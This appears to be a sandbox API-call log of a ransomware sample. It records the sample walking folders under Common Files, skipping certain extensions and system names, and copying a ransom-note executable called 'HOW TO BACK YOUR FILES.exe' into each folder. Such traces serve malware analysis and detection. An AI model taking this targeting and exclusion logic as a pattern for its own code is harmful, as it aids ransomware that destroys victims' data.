	[0076.307] lstrlenW (lpString=".sys") returned 4
	[0076.307] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2=".sys") returned 1
	[0076.308] lstrlenW (lpString="ACEODBCI.DLL") returned 12
	[0076.308] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="ACERECR.DLL" | out: lpString1="ACERECR.DLL") returned="ACERECR.DLL"
	[0076.308] lstrlenW (lpString="ACERECR.DLL") returned 11
	[0076.308] lstrlenW (lpString="Apollon865") returned 10
	[0076.308] lstrcmpiW (lpString1="CERECR.DLL", lpString2="Apollon865") returned 1
	[0076.308] lstrlenW (lpString=".dll") returned 4
	[0076.308] lstrcmpiW (lpString1="ACERECR.DLL", lpString2=".dll") returned 1
	[0076.308] lstrlenW (lpString=".lnk") returned 4
	[0076.308] lstrcmpiW (lpString1="ACERECR.DLL", lpString2=".lnk") returned 1
	[0076.308] lstrlenW (lpString=".ini") returned 4
	[0076.308] lstrcmpiW (lpString1="ACERECR.DLL", lpString2=".ini") returned 1
	[0076.308] lstrlenW (lpString=".sys") returned 4
	[0076.308] lstrcmpiW (lpString1="ACERECR.DLL", lpString2=".sys") returned 1
	[0076.308] lstrlenW (lpString="ACERECR.DLL") returned 11
	[0076.308] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="ACEWSTR.DLL" | out: lpString1="ACEWSTR.DLL") returned="ACEWSTR.DLL"
	[0076.308] lstrlenW (lpString="ACEWSTR.DLL") returned 11
	[0076.308] lstrlenW (lpString="Apollon865") returned 10
	[0076.308] lstrcmpiW (lpString1="CEWSTR.DLL", lpString2="Apollon865") returned 1
	[0076.308] lstrlenW (lpString=".dll") returned 4
	[0076.308] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2=".dll") returned 1
	[0076.308] lstrlenW (lpString=".lnk") returned 4
	[0076.308] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2=".lnk") returned 1
	[0076.308] lstrlenW (lpString=".ini") returned 4
	[0076.308] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2=".ini") returned 1
	[0076.308] lstrlenW (lpString=".sys") returned 4
	[0076.308] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2=".sys") returned 1
	[0076.308] lstrlenW (lpString="ACEWSTR.DLL") returned 11
	[0076.308] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="ADO210.CHM" | out: lpString1="ADO210.CHM") returned="ADO210.CHM"
	[0076.308] lstrlenW (lpString="ADO210.CHM") returned 10
	[0076.308] lstrlenW (lpString="Apollon865") returned 10
	[0076.308] lstrlenW (lpString=".dll") returned 4
	[0076.309] lstrcmpiW (lpString1="ADO210.CHM", lpString2=".dll") returned 1
	[0076.309] lstrlenW (lpString=".lnk") returned 4
	[0076.309] lstrcmpiW (lpString1="ADO210.CHM", lpString2=".lnk") returned 1
	[0076.309] lstrlenW (lpString=".ini") returned 4
	[0076.309] lstrcmpiW (lpString1="ADO210.CHM", lpString2=".ini") returned 1
	[0076.309] lstrlenW (lpString=".sys") returned 4
	[0076.309] lstrcmpiW (lpString1="ADO210.CHM", lpString2=".sys") returned 1
	[0076.309] lstrlenW (lpString="ADO210.CHM") returned 10
	[0076.309] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="ALRTINTL.DLL" | out: lpString1="ALRTINTL.DLL") returned="ALRTINTL.DLL"
	[0076.309] lstrlenW (lpString="ALRTINTL.DLL") returned 12
	[0076.309] lstrlenW (lpString="Apollon865") returned 10
	[0076.309] lstrcmpiW (lpString1="RTINTL.DLL", lpString2="Apollon865") returned 1
	[0076.309] lstrlenW (lpString=".dll") returned 4
	[0076.309] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2=".dll") returned 1
	[0076.309] lstrlenW (lpString=".lnk") returned 4
	[0076.309] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2=".lnk") returned 1
	[0076.309] lstrlenW (lpString=".ini") returned 4
	[0076.309] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2=".ini") returned 1
	[0076.309] lstrlenW (lpString=".sys") returned 4
	[0076.309] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2=".sys") returned 1
	[0076.309] lstrlenW (lpString="ALRTINTL.DLL") returned 12
	[0076.309] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="MSOINTL.DLL" | out: lpString1="MSOINTL.DLL") returned="MSOINTL.DLL"
	[0076.309] lstrlenW (lpString="MSOINTL.DLL") returned 11
	[0076.309] lstrlenW (lpString="Apollon865") returned 10
	[0076.309] lstrcmpiW (lpString1="SOINTL.DLL", lpString2="Apollon865") returned 1
	[0076.309] lstrlenW (lpString=".dll") returned 4
	[0076.309] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2=".dll") returned 1
	[0076.309] lstrlenW (lpString=".lnk") returned 4
	[0076.309] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2=".lnk") returned 1
	[0076.309] lstrlenW (lpString=".ini") returned 4
	[0076.309] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2=".ini") returned 1
	[0076.309] lstrlenW (lpString=".sys") returned 4
	[0076.309] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2=".sys") returned 1
	[0076.310] lstrlenW (lpString="MSOINTL.DLL") returned 11
	[0076.310] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="MSOINTL.DLL.IDX_DLL" | out: lpString1="MSOINTL.DLL.IDX_DLL") returned="MSOINTL.DLL.IDX_DLL"
	[0076.310] lstrlenW (lpString="MSOINTL.DLL.IDX_DLL") returned 19
	[0076.310] lstrlenW (lpString="Apollon865") returned 10
	[0076.310] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0076.310] lstrlenW (lpString=".dll") returned 4
	[0076.310] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2=".dll") returned 1
	[0076.310] lstrlenW (lpString=".lnk") returned 4
	[0076.310] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2=".lnk") returned 1
	[0076.310] lstrlenW (lpString=".ini") returned 4
	[0076.310] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2=".ini") returned 1
	[0076.310] lstrlenW (lpString=".sys") returned 4
	[0076.310] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2=".sys") returned 1
	[0076.310] lstrlenW (lpString="MSOINTL.DLL.IDX_DLL") returned 19
	[0076.310] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="MSOINTL.REST.IDX_DLL" | out: lpString1="MSOINTL.REST.IDX_DLL") returned="MSOINTL.REST.IDX_DLL"
	[0076.310] lstrlenW (lpString="MSOINTL.REST.IDX_DLL") returned 20
	[0076.310] lstrlenW (lpString="Apollon865") returned 10
	[0076.310] lstrcmpiW (lpString1="ST.IDX_DLL", lpString2="Apollon865") returned 1
	[0076.310] lstrlenW (lpString=".dll") returned 4
	[0076.310] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2=".dll") returned 1
	[0076.310] lstrlenW (lpString=".lnk") returned 4
	[0076.310] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2=".lnk") returned 1
	[0076.310] lstrlenW (lpString=".ini") returned 4
	[0076.310] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2=".ini") returned 1
	[0076.310] lstrlenW (lpString=".sys") returned 4
	[0076.310] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2=".sys") returned 1
	[0076.310] lstrlenW (lpString="MSOINTL.REST.IDX_DLL") returned 20
	[0076.310] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="MSSOAPR3.DLL" | out: lpString1="MSSOAPR3.DLL") returned="MSSOAPR3.DLL"
	[0076.310] lstrlenW (lpString="MSSOAPR3.DLL") returned 12
	[0076.310] lstrlenW (lpString="Apollon865") returned 10
	[0076.311] lstrcmpiW (lpString1="SOAPR3.DLL", lpString2="Apollon865") returned 1
	[0076.311] lstrlenW (lpString=".dll") returned 4
	[0076.311] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2=".dll") returned 1
	[0076.311] lstrlenW (lpString=".lnk") returned 4
	[0076.311] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2=".lnk") returned 1
	[0076.311] lstrlenW (lpString=".ini") returned 4
	[0076.311] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2=".ini") returned 1
	[0076.311] lstrlenW (lpString=".sys") returned 4
	[0076.311] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2=".sys") returned 1
	[0076.311] lstrlenW (lpString="MSSOAPR3.DLL") returned 12
	[0076.311] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="OARPMANR.DLL" | out: lpString1="OARPMANR.DLL") returned="OARPMANR.DLL"
	[0076.311] lstrlenW (lpString="OARPMANR.DLL") returned 12
	[0076.311] lstrlenW (lpString="Apollon865") returned 10
	[0076.311] lstrcmpiW (lpString1="RPMANR.DLL", lpString2="Apollon865") returned 1
	[0076.311] lstrlenW (lpString=".dll") returned 4
	[0076.311] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2=".dll") returned 1
	[0076.311] lstrlenW (lpString=".lnk") returned 4
	[0076.311] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2=".lnk") returned 1
	[0076.311] lstrlenW (lpString=".ini") returned 4
	[0076.311] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2=".ini") returned 1
	[0076.311] lstrlenW (lpString=".sys") returned 4
	[0076.311] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2=".sys") returned 1
	[0076.311] lstrlenW (lpString="OARPMANR.DLL") returned 12
	[0076.311] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="README.HTM" | out: lpString1="README.HTM") returned="README.HTM"
	[0076.311] lstrlenW (lpString="README.HTM") returned 10
	[0076.311] lstrlenW (lpString="Apollon865") returned 10
	[0076.311] lstrlenW (lpString=".dll") returned 4
	[0076.311] lstrcmpiW (lpString1="README.HTM", lpString2=".dll") returned 1
	[0076.311] lstrlenW (lpString=".lnk") returned 4
	[0076.311] lstrcmpiW (lpString1="README.HTM", lpString2=".lnk") returned 1
	[0076.311] lstrlenW (lpString=".ini") returned 4
	[0076.311] lstrcmpiW (lpString1="README.HTM", lpString2=".ini") returned 1
	[0076.311] lstrlenW (lpString=".sys") returned 4
	[0076.312] lstrcmpiW (lpString1="README.HTM", lpString2=".sys") returned 1
	[0076.312] lstrlenW (lpString="README.HTM") returned 10
	[0076.312] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="xlsrvintl.dll" | out: lpString1="xlsrvintl.dll") returned="xlsrvintl.dll"
	[0076.312] lstrlenW (lpString="xlsrvintl.dll") returned 13
	[0076.312] lstrlenW (lpString="Apollon865") returned 10
	[0076.312] lstrcmpiW (lpString1="rvintl.dll", lpString2="Apollon865") returned 1
	[0076.312] lstrlenW (lpString=".dll") returned 4
	[0076.312] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2=".dll") returned 1
	[0076.312] lstrlenW (lpString=".lnk") returned 4
	[0076.312] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2=".lnk") returned 1
	[0076.312] lstrlenW (lpString=".ini") returned 4
	[0076.312] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2=".ini") returned 1
	[0076.312] lstrlenW (lpString=".sys") returned 4
	[0076.312] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2=".sys") returned 1
	[0076.312] lstrlenW (lpString="xlsrvintl.dll") returned 13
	[0076.312] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo"
	[0076.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0076.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0076.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo") returned 53
	[0076.312] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo"
	[0076.312] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.312] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.352] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.352] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45957d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45957d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.352] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.352] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.352] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.352] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45957d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45957d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.352] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.352] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.352] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.352] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.352] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0076.352] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.352] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0076.352] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0076.352] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0076.352] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0076.352] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0076.352] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0076.353] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0076.353] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0076.353] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0076.353] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0076.353] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0076.353] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0076.353] lstrlenW (lpString="en-US") returned 5
	[0076.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*") returned 55
	[0076.353] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0076.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0076.353] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5916c0
	[0076.353] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7ad0
	[0076.353] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45957d30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45957d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.353] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.353] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2="Apollon865.txt.exe") returned 1
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2=".") returned 1
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2="..") returned 1
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2="windows") returned -1
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2="bootmgr") returned 1
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2="temp") returned -1
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2="pagefile.sys") returned -1
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2="boot") returned 1
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2="ids.txt") returned 1
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2="ntuser.dat") returned -1
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2="perflogs") returned -1
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2="MSBuild") returned 1
	[0076.353] lstrlenW (lpString="msinfo32.exe") returned 12
	[0076.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US") returned 59
	[0076.353] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="msinfo32.exe" | out: lpString1="msinfo32.exe") returned="msinfo32.exe"
	[0076.353] lstrlenW (lpString="msinfo32.exe") returned 12
	[0076.353] lstrlenW (lpString="Apollon865") returned 10
	[0076.353] lstrcmpiW (lpString1="info32.exe", lpString2="Apollon865") returned 1
	[0076.353] lstrlenW (lpString=".dll") returned 4
	[0076.353] lstrcmpiW (lpString1="msinfo32.exe", lpString2=".dll") returned 1
	[0076.354] lstrlenW (lpString=".lnk") returned 4
	[0076.354] lstrcmpiW (lpString1="msinfo32.exe", lpString2=".lnk") returned 1
	[0076.354] lstrlenW (lpString=".ini") returned 4
	[0076.354] lstrcmpiW (lpString1="msinfo32.exe", lpString2=".ini") returned 1
	[0076.354] lstrlenW (lpString=".sys") returned 4
	[0076.354] lstrcmpiW (lpString1="msinfo32.exe", lpString2=".sys") returned 1
	[0076.354] lstrlenW (lpString="msinfo32.exe") returned 12
	[0076.354] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US"
	[0076.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0076.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0076.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US") returned 59
	[0076.354] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US"
	[0076.354] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.354] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.358] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x45957d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45957d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.358] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.358] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.358] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.358] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x45957d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45957d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.358] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.358] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.358] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.358] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.358] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45957d30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45957d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.358] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.358] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1
	[0076.358] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.358] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.358] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2=".") returned 1
	[0076.358] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="..") returned 1
	[0076.358] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="windows") returned -1
	[0076.358] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="bootmgr") returned 1
	[0076.358] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="temp") returned -1
	[0076.358] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="pagefile.sys") returned -1
	[0076.358] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="boot") returned 1
	[0076.358] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="ids.txt") returned 1
	[0076.358] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="ntuser.dat") returned -1
	[0076.358] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="perflogs") returned -1
	[0076.359] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2="MSBuild") returned 1
	[0076.359] lstrlenW (lpString="msinfo32.exe.mui") returned 16
	[0076.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*") returned 61
	[0076.359] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="msinfo32.exe.mui" | out: lpString1="msinfo32.exe.mui") returned="msinfo32.exe.mui"
	[0076.359] lstrlenW (lpString="msinfo32.exe.mui") returned 16
	[0076.359] lstrlenW (lpString="Apollon865") returned 10
	[0076.359] lstrcmpiW (lpString1="32.exe.mui", lpString2="Apollon865") returned -1
	[0076.359] lstrlenW (lpString=".dll") returned 4
	[0076.359] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2=".dll") returned 1
	[0076.359] lstrlenW (lpString=".lnk") returned 4
	[0076.359] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2=".lnk") returned 1
	[0076.359] lstrlenW (lpString=".ini") returned 4
	[0076.359] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2=".ini") returned 1
	[0076.359] lstrlenW (lpString=".sys") returned 4
	[0076.359] lstrcmpiW (lpString1="msinfo32.exe.mui", lpString2=".sys") returned 1
	[0076.359] lstrlenW (lpString="msinfo32.exe.mui") returned 16
	[0076.359] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr"
	[0076.359] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0076.359] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0076.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr") returned 62
